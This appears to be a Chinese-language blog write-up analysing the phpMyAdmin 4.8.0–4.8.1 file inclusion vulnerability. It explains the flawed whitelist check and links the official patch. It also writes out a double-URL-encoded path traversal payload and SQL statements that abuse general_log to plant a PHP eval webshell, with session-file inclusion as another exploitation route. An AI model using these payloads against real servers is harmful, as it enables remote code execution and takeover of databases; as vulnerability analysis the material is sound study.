前言
其实也没什么好说的,总感觉没个前言不完整,2333~
漏洞分析
该漏洞影响phpMyAdmin 4.8.0-4.8.1版本,本次分析使用4.8.1。
漏洞的入口在index.php 54-63行,疑似文件包含,看看有没有搞头。
| 1 | $target_blacklist = array ( | 
这里有5个条件,满足之后就会包含我们穿过来的文件。前4个条件都比较好理解非空、必须为字符串、不能是index开头,不能是黑名单中的文件名(import.php、export.php),重点看最后一个。
libraries/classes/Core.php
| 1 | public static function checkPageValidity(&$page, array $whitelist = []) | 
前面是一些简单的判断,然后文件名必须在白名单里。接下来按问号分割字符串,目的是适应target=view.php?id=1这种情况,分割后$_page仍然是view.php。
漏洞就出现在下面urldecode这里,如果我们让db_sql.php%253f/../../../../test.txt,其中db_sql.php是白名单中的文件名,%253f是?的双重urlencode,php会自动进行一次urldecode,第一次分割的时候是这样的:

当然下面的判断也不会生效,继续向下,第二次分割之前会urldecode一次。

分割之后$_page='db_sql.php',符合条件,函数返回了true。
现在5个条件都符合了,php会将db_sql.php%253f/当成一个目录,所以需要多加一个../来包含我们可控的文件。

漏洞利用
由于漏洞出现在phpmyadmin后台,所以利用还是有一定的局限性,这里有几个利用方式:
- 利用导入功能,上传一个有一句话的文件 - phpmyadmin默认没有设置上传目录,通过操作临时文件来导入数据,执行结束后临时文件就被删除了。 - 1 
 2
 3
 4
 5
 6
 7
 8- /** 
 * Directory for uploaded files that can be executed by phpMyAdmin.
 * For example './upload'. Leave empty for no upload directory support.
 * Use %u for username inclusion.
 *
 * @global string $cfg['UploadDir']
 */
 $cfg['UploadDir'] = '';
- 既然已经进入后台,那么可以创建一个数据库或者修改数据插入一句话,然后包含对应的文件。  
- 开启通过general_log和general_log_file来获取webshell - 1 
 2
 3- set global general_log='on'; 
 SET global general_log_file='F:/cmd.php';
 SELECT '<?php eval($_POST[1]);?>';
- 首先执行 - select '<?php phpinfo();?>',然后包含session文件。
漏洞防御
https://github.com/phpmyadmin/phpmyadmin/commit/7662d02939fb3cf6f0d9ec32ac664401dcfe7490
这是官方的补丁,增加了一个$include参数,在index.php中使用checkPageValidity函数时直接就放回false了。
